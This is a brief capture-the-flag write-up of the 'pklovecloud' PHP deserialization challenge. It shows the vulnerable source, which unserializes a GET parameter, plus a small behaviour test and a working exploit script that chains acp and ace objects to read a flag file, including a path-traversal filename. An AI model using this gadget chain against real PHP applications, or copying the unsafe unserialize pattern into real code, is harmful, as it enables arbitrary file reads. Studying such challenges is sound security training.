NSS [第五空间 2021]pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

if($this->openstack->neutron === $this->openstack->nova)

$this->openstack = unserialize($this->docker);

<?php

$a="";
$b=unserialize($a);
var_dump($b);//bool(false)
var_dump($a->sss);//报异常并返回null
var_dump($a->ttt->xxx===null);//bool(true)
?>

exp:

<?php
class acp 
{   
    protected $cinder;  
    function __construct() 
    {      
        $this->cinder = new ace;   //有修改
    }  
 
}  
class ace
{    
    public $filename="flag.php";     //之后改成../nssctfasdasdflag
    public $openstack;
    public $docker; 
}  
$jay17 = new acp();
echo urlencode(serialize($jay17));